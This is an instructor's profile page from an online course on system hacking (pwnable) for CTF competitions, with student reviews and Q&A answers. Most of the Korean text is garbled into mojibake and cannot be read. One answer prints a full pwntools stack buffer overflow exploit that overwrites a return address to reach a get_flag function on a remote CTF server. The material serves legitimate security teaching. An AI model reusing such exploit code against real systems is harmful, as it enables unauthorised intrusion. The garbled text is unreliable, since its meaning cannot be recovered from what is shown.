juntheworld
@juntheworld
Students
1,988
Reviews
66
Course Rating
4.8
Hello! Juntheworld
Courses
Reviews
- Introduction to System Hacking (Pwnable) for Participating in Hacking Competitions (CTF)
- Introduction to System Hacking (Pwnable) for Participating in Hacking Competitions (CTF)
- Introduction to System Hacking (Pwnable) for Participating in Hacking Competitions (CTF)
jakypark3897
ยท
Introduction to System Hacking (Pwnable) for Participating in Hacking Competitions (CTF)Introduction to System Hacking (Pwnable) for Participating in Hacking Competitions (CTF)guwoon77772365
ยท
Introduction to System Hacking (Pwnable) for Participating in Hacking Competitions (CTF)Introduction to System Hacking (Pwnable) for Participating in Hacking Competitions (CTF)
Posts
Q&A
basic_bof.py๊ฐ ์์ด์
์๋ ํ์ธ์ poolchamp๋!CTF์ฌ์ดํธ (https://hacktheworldctf.xyz/challenges#BasicBOF-2) ์์ ์ ๊ณตํ๋ .zip ํ์ผ์ ๋ฌธ์ ํ์ผ์ ๋๋ค. ๋ง์ํด์ฃผ์ .py ํ์ด์ฌ ํ์ผ์ ๋ต์์ง ํ์ผ์ด๋ผ๊ณ ์๊ฐํด์ฃผ์๋ฉด ๋ฉ๋๋ค.์๋์ ๊ฐ์ ์ต์คํ๋ก์ ์ฝ๋๋ฅผ .zip ํ์ผ์์ ์ ๊ณตํ ํด๋์ basic_bof.py ๋ผ๋ ํ์ด์ฌ ํ์ผ(๊ผญ ํด๋น ์ด๋ฆ์ผ ํ์๋ ์์) ์ ์์ฑํ ํ, ๋ณต์ฌ ๋ด์ฌ๋ฃ๊ธฐํด์ ์ฌ์ฉํ์๋ฉด ๋ฉ๋๋ค ! from pwn import * context.log_level = 'debug' p = process("./basic_bof") p = remote("101.79.9.58", 10010) # gdb.attach(p) # pause() # exploit here get_flag_addr = 0x401296 payload = b'A'*0x30 payload += b'B'*0x8 payload += p64(get_flag_addr) p.sendline(payload) p.interactive() ์ง๋ฌธ ๋ด์ฉ์ ํตํด ์ ์ถํด๋ณด๊ฑด๋ฐ, ์ด๋ฏธ ๊ฐ์์ ๋๋ถ๋ถ์ธ 14. ์ต์คํ๋ก์ ์ฝ๋์์ฑ (StackBufferOverFlow๋ฅผ ์ด์ฉํ RET Overwrite)์ ์๊ฐํด์ฃผ๊ณ ๊ณ์ ๊ฒ์ผ๋ก ์ถ์ธก๋ฉ๋๋ค. ์๋์ ์ฒจ๋ถ๋ ์ฝ๋๋ ํด๋น ๊ฐ์ ์์ ๋ ธํธ์์ ํ์ธํ์ค ์ ์์ผ๋, ์ฐธ๊ณ ํด์ฃผ์๋ฉด ๋์์ด ๋ ๊ฒ ๊ฐ์ต๋๋ค!(์ฌ์ง) (์ฌ์ง) ๋ ์ด์ฌํ ๊ณต๋ถํด์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค!
- 0
- 2
- 29
Q&A
์ฌ์ดํธ๊ฐ ์๋ค์ด๊ฐ์ ธ์
์๋ ํ์ธ์ taetae๋.์ฐ์ ์๋ ค์ฃผ์ฌ์ ์ ๋ง ๊ฐ์ฌ๋๋ฆฝ๋๋ค.https ์ธ์ฆ์ ๋ง๋ฃ๋ก ์ฌ์ดํธ์ ๋ณด์ ์ ์์ด ๋ถ๊ฐ๋ฅํ ์ํฉ์ ๋๋ค.https://www.hacktheworldctf.xyz/์ฌ์ดํธ ์ ์ ํ์ ๊ณ ๊ธ > https://www.hacktheworldctf.xyz/(์์ ํ์ง์์)(์ผ)๋ก ์ด๋๋ฒํผ์ ๋๋ฌ ์์๋ก https๊ฐ ์๋ http๋ก ์ด๋ํ์ค ์ ์์ต๋๋ค.(์ฌ์ง)๊ฐ์ ์๊ฐ์ ๋ถํธ์ ๋๋ ค ์ง์ฌ์ผ๋ก ์ฃ์กํฉ๋๋ค.๋น ๋ฅธ ์์ผ ๋ด์ https ์ ์์ ๋ณต๊ตฌํ๊ฒ ์ต๋๋ค.๋ ์ด์ฌํ ๊ณต๋ถํด์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค!
- 0
- 2
- 42
Q&A
hacktheworld ์ฌ์ดํธ๊ฐ ๋ค์ด๊ฐ์ง์ง ์์ต๋๋ค
์๋ ํ์ธ์.๋๋ฉ์ธ ๋ง๋ฃ๋ก ์ธํด ์ฌ์ดํธ ์ ์์ด ๋ถ๊ฐ๋ฅ ํ์์ต๋๋ค.ํ์ฌ๋ ๋ชจ๋ ๋ฌธ์ ๊ฐ ๊ณ ์ณ์ ธ ์๋ ๋งํฌ๋ก ์ ์์ด ๊ฐ๋ฅํฉ๋๋ค.https://hacktheworldctf.xyz/๊ฐ์ ์๊ฐ์ ๋ถํธ์ ๋๋ ค ์ง์ฌ์ผ๋ก ์ฃ์กํ๋ค๋ ๋ง์๋๋ฆฌ๊ณ ์ถ์ต๋๋ค.๋ ์ด์ฌํ ์๊ฐํด์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค!
- 0
- 2
- 161
Q&A
sudo password ์ ์ ๋ ฅ์ด ์๋ผ์
์๋ ํ์ธ์ ์ฐ์ ์ด์ฌํ ๊ฐ์ ์๊ฐํด์ฃผ์๊ณ ์ง๋ฌธ ๋จ๊ฒจ์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค!! AI ์ ๋ต๋ณ์ฒ๋ผ ์ฐ๋ถํฌ ํ๊ฒฝ์์ ๋น๋ฐ๋ฒํธ ์ ๋ ฅํ ๋ ์ ๋ ฅ ๊ฐ์ด ๋ณด์ด์ง ์์ต๋๋ค!! ํ๋ฒ ๋ค ์ ๋ ฅ ํ ์ํฐ๋ฅผ ์ ๋ ฅํด๋ด์ฃผ์ธ์. ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋์ง์๋๋ค๋ฉด ๋ ์ง๋ฌธ ๋จ๊ฒจ์ฃผ์๋ฉด ๊ฐ์ฌํ๊ฒ ์ต๋๋ค! ๊ฐ์ฌํฉ๋๋ค
- 0
- 2
- 616
Q&A
gdb ์คํ์ด ์ ๋๋ก ๋์๋์ง ๋ชจ๋ฅด๊ฒ ์ด์...
์๋ ํ์ธ์! sw020409๋์ฐ์ ์ค๋๋ ์ด์ฌํ ํ์ตํด์ฃผ์ฌ์ ๊ฐ์ฌ์ ๋ง์ ๋จผ์ ๋๋ฆฝ๋๋ค. :)์์ ๋ฌธ์ ๋ ๋ฆฌ๋ ์ค์ ๋์ ๋๋ฒ๊ธฐ์ธ gdb๋ ์ฌ๋ฐ๋ฅด๊ฒ ์ค์น๋์์ผ๋,์ข ๋ ๋ค์ํ ๊ธฐ๋ฅ์ ์ถ๊ฐํด์ ์ ๊ณตํด์ฃผ๋ pwndbg๊ฐ ์ค์น๋์ง์์ ๋ฐ์ํ๋ ๋ฌธ์ ๋ก ๋ณด์ ๋๋ค.์๋์ ์คํฌ๋ฆฝํธ๋ฅผ ์ ๋ ฅํ์ฌ ํด๊ฒฐํ ์ ์์ ๊ฒ์ผ๋ก ๋ณด์ด๋๋ฐ, ์ถ๊ฐ์ ์ผ๋ก ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ค๋ฉด ์ธ์ ๋ ์ง ๋ค์ ์ง๋ฌธ ๋จ๊ฒจ์ฃผ์๋ฉด ๊ฐ์ฌํ๊ฒ ์ต๋๋ค! pwndbg๋ฑ ๋ค์ํ pwnable ๋ฌธ์ ํ์ด์ฉ ๋๊ตฌ์ค์น๋ ์๋ ๋งํฌ๋ฅผ ํจ๊ป ์ฐธ๊ณ ํด์ฃผ์ธ์:)์ข์ ์ง๋ฌธ ๋จ๊ฒจ์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค. ์ฆ๊ฑฐ์ด ํ์ต๋์ธ์!https://juntheworld.postype.com/post/13437080#pwndbg sudo apt install -y git git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh
- 0
- 2
- 514
Q&A
๋ค์์๋ฌ
์๋ ํ์ธ์ ํ์ค๋! ์ฐ์ ์ข์ ์ง๋ฌธ ๋จ๊ฒจ์ฃผ์ฌ์ ๊ฐ์ฌ๋๋ฆฝ๋๋ค.๋จผ์ ์ฝ๋๋ฅผ ๋ณด๋ฉด ์ฝ๋์์ ๋ฌธ์ ๊ฐ ๋ณด์ด์ง๋ ์์ต๋๋ค.๋ค๋ง p = process("./basic_bof") ๋ถ๋ถ์์ ์ค๋ฅ๊ฐ ๋๊ฒ์ผ๋ก ๋ณด์ํ์ผ์ ์ ์ฅํ ๋ ์ค์ ํ ์ด๋ฆ์ด ์ฝ๋์์ ์ ์๋ ์ด๋ฆ๊ณผ ๋ฌ๋ผ์ ๋ค์ ์ค๋ฅ๊ฐ ๋ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค!process(" ~ ") ํจ์๋ ํ์ฌ ๋๋ ํฐ๋ฆฌ๋ฅผ ๊ธฐ์ค์ผ๋ก ํด๋น ์ด๋ฆ์ ๊ฐ์ง ํ์ผ์ ์ฝ์ด์ค๊ธฐ๋๋ฌธ์๊ฒฝ๋ก์์ ํ์ผ์ด๋ฆ์ด ์ ์ ํ ์ค์ ๋์๋์ง ํ์ธํด์ฃผ์๋ฉด ๊ฐ์ฌํ๊ฒ ์ต๋๋ค!ํ์ฌ ๋ณด์ฌ์ฃผ์ ์บก์ฒ๋ณธ์์์๋ ๋ฌธ์ ๊ฐ ์์ด ๋ณด์ด์ง๋ง, ํ์ด์ฌ ์ธํฐํ๋ฆฌํฐ์ ์คํ์์น์ ๋ฐ๋ผ ๊ฒฝ๋ก๊ฐ ๋ณ๊ฒฝ๋ ์ ์์ผ๋ ์ฐธ๊ณ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.๋ํ python3 (์ธํฐํ๋ฆฌํฐ ์คํ) ์ดํ์ basic_bof.py ๋ฅผ ์คํํ๋ ๊ฒ์ด ์๋๋ผpython3 basic_bof.py ์ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์คํํ์๋๋ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋์ง ํ์ธํด์ฃผ์๋ฉด ๊ฐ์ฌํ๊ฒ ์ต๋๋ค!!์ค๋๋ ์ด์ฌํ ๊ณต๋ถํด์ฃผ์ฌ์ ๊ฐ์ฌ๋๋ฆฝ๋๋ค.์ฆ๊ฑฐ์ดํ๋ฃจ ๋ณด๋ด์ธ์!
- 0
- 2
- 384
Q&A
remote ์ฐ๊ฒฐ ์ง๋ฌธ๋๋ฆฝ๋๋ค!
์๋ ํ์ธ์ ์ด๊ธฐ์ฐฌ๋! ์ฐ์ ์ข์์ง๋ฌธ ๋จ๊ฒจ์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค :)gdb.attach(p) ๋ช ๋ น์ด๋ ํ์ฌ ๋ด machine (local ํ๊ฒฝ) ์์ ์๋๋๊ณ ์๋ ํ๋ก์ธ์ค์ gdb ๋๋ฒ๊ฑฐ๋ฅผ ๋ถ์ด๋ ๋ช ๋ น์ด๋ก, local ํ๊ฒฝ์ด ์๋ remoteํ๊ฒฝ (์ธํฐ๋ท์ ์๋ ํ๋ก๊ทธ๋จ.. ex. 101.79.9.58:10010) ์ gdb.attach()๋ฅผ ์๋ํ ๊ฒฝ์ฐ ํ๋ก๊ทธ๋จ์ ์ฐพ์ง ๋ชปํด ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค.์ด์ ๋ฆฌ๋ชจํธ ํ๋ก์ธ์ค์ ์ต์คํ๋ก์์ ์๋ํ ๋๋gdb.attach(p) ๋ฌธ์ฅ์ ์ ๊ฑฐํ๊ฑฐ๋ ์ฃผ์์ฒ๋ฆฌํ ๋ค ๋ค์ ์๋ํด๋ณด์๊ธธ ๋ฐ๋๋๋ค.์ค๋๋ ์ฆ๊ฑฐ์ด ํ์ต๋์๊ธธ ๋ฐ๋๋๋ค! ๊ฐ์ฌํฉ๋๋ค.
- 0
- 1
- 387
Q&A
python exploit code ์คํ ์ค๋ฅ
์๋ ํ์ธ์! ์ด์ฌํ ํ์ตํด์ฃผ์๊ณ , ์ข์ ์ง๋ฌธ ๋จ๊ฒจ์ฃผ์ฌ์ ๊ฐ์ฌ๋๋ฆฝ๋๋ค.์ฐ์ ํ์ฌ ๋ณด์ฌ์ฃผ์ ์บก์ฒ๋ณธ ๋ง์ผ๋ก๋ ํ์คํ ์ด๋ค ๋ฌธ์ ์ธ์ง ํ์ ํ๊ธฐ๊ฐ ์ฝ์ง์์๋ฐ,gdb.attach(p) ๋ช ๋ น์ด๋ ๋ก์ปฌ ํ๋ก์ธ์ค์ ๋๋ฒ๊ฑฐ๋ฅผ ๋ถ์ด๋ ๋ช ๋ น์ด๋กpwntools ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์คํํ๋ ์์น์ ์คํํ๋ ํ๋ก์ธ์ค์ ์์น๊ฐ ๋ค๋ฅธ ๊ฒฝ์ฐ์คํ์ด ๋์ง์์ต๋๋ค.ํน์ remote ํ๋ก์ธ์ค๋ฅผ ์คํํ ํ gdb๋ฅผ ๋ถ์ด๋๋ก ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์์ฑํ์์ง ์์ผ์ จ์์ง ํ์ธ๋ถํ๋๋ฆฝ๋๋ค!๊ฐ์ฌํฉ๋๋ค.
- 0
- 2
- 531
Q&A
๋๊ตฌ ๋ค์ด๋ก๋์์ ๋ณต์ฌ ๋ถ์ฌ๋ฃ๊ธฐ๊ฐ ๊ณ์ ์๋๋๋ฐ ์๊ทธ๋ฌ๋ ๊ฑด์ง ์์ ์์๊น์?
Host ์์ VM์ผ๋ก์ ๋ณต์ฌ ๋ถ์ฌ๋ฃ๊ธฐ๊ฐ ์ด๋ ค์ฐ์ ๊ฒ ๋ง์๊น์?์ฌ์ฉํ๊ณ ๊ณ์๋ Virtual Machine ๋๊ตฌ(virtual box / vmware .. ๋ฑ๋ฑ)์ ๋ฐ๋ผ ํด๊ฒฐ๋ฒ์ด ๋ฌ๋ผ์, ์๋์ ๊ฐ์ ํค์๋๋ก ๊ตฌ๊ธ๋ง ํด๋ณด์ฌ์ ์ถ์ฒ๋๋ฆฝ๋๋ค.- VMware/Virtual Machine ๊ฐ์๋จธ์ ํ์ผ ์ฎ๊ธฐ๊ธฐ- ๊ฐ์๋จธ์ ๋๋๊ทธ ์ค ๋๋กญ- ๊ฐ์๋จธ์ ๋ณต์ฌ ๋ถ์ฌ๋ฃ๊ธฐํน์ VMware๋ฅผ ์ฌ์ฉํ๊ณ ๊ณ์๋ค๋ฉด ์๋ ๋งํฌ๋ ๋์์ด ๋ ๊ฒ ๊ฐ์ต๋๋ค!https://hintbox.tistory.com/entry/VMware-%EA%B0%80%EC%83%81-%EB%A8%B8%EC%8B%A0-%ED%8C%8C%EC%9D%BC-%EC%98%AE%EA%B8%B0%EA%B8%B0
- 0
- 2
- 537
Q&A
์ง๋ฌธ์์ต๋๋ค.flag๊ฐ ์ ๋์ต๋๋ค
์๋ ํ์ธ์ ๋ธ๋ธ๋!segmentation fault => ํ๋ก๊ทธ๋จ ๋ฉ๋ชจ๋ฆฌ ์ค๋ฅ๋ฅผ ๋ณด์ํ๋, ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ํตํด ์ ํด์ง ๋ฒํผ ๊ณต๊ฐ์ ๋์ด์๋ ๊ฒ์ ์ฑ๊ณตํ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค!๋ค๋ง 1. get_flag ํจ์์ ์ฃผ์2. ์ง์ญ๋ฒํผ๋ถํฐ ์คํ์ ์ ์ฅ๋ return address ๊น์ง์ ์คํ์ (b'B'*[์ด๊ณณ] ์ ์กฐ๊ธ ๋ ๊ณ ๋ฏผํด๋ณด์์ผ ํ ๊ฒ ๊ฐ์ต๋๋ค!๋๋ฌด ์ด๋ ต๋ค ์ถ์ผ์๋ฉด ๋ง์ง๋ง๊ฐ์(์น์ 5-3)์๊ฐ์ ๋ ธํธ๋ฅผ ์ฐธ๊ณ ํด๋ณด์๋ ๊ฒ์ ์ถ์ฒ๋๋ฆฌ๊ฒ ์ต๋๋ค.๊ฐ์ฌํฉ๋๋ค!
- 0
- 1
- 390





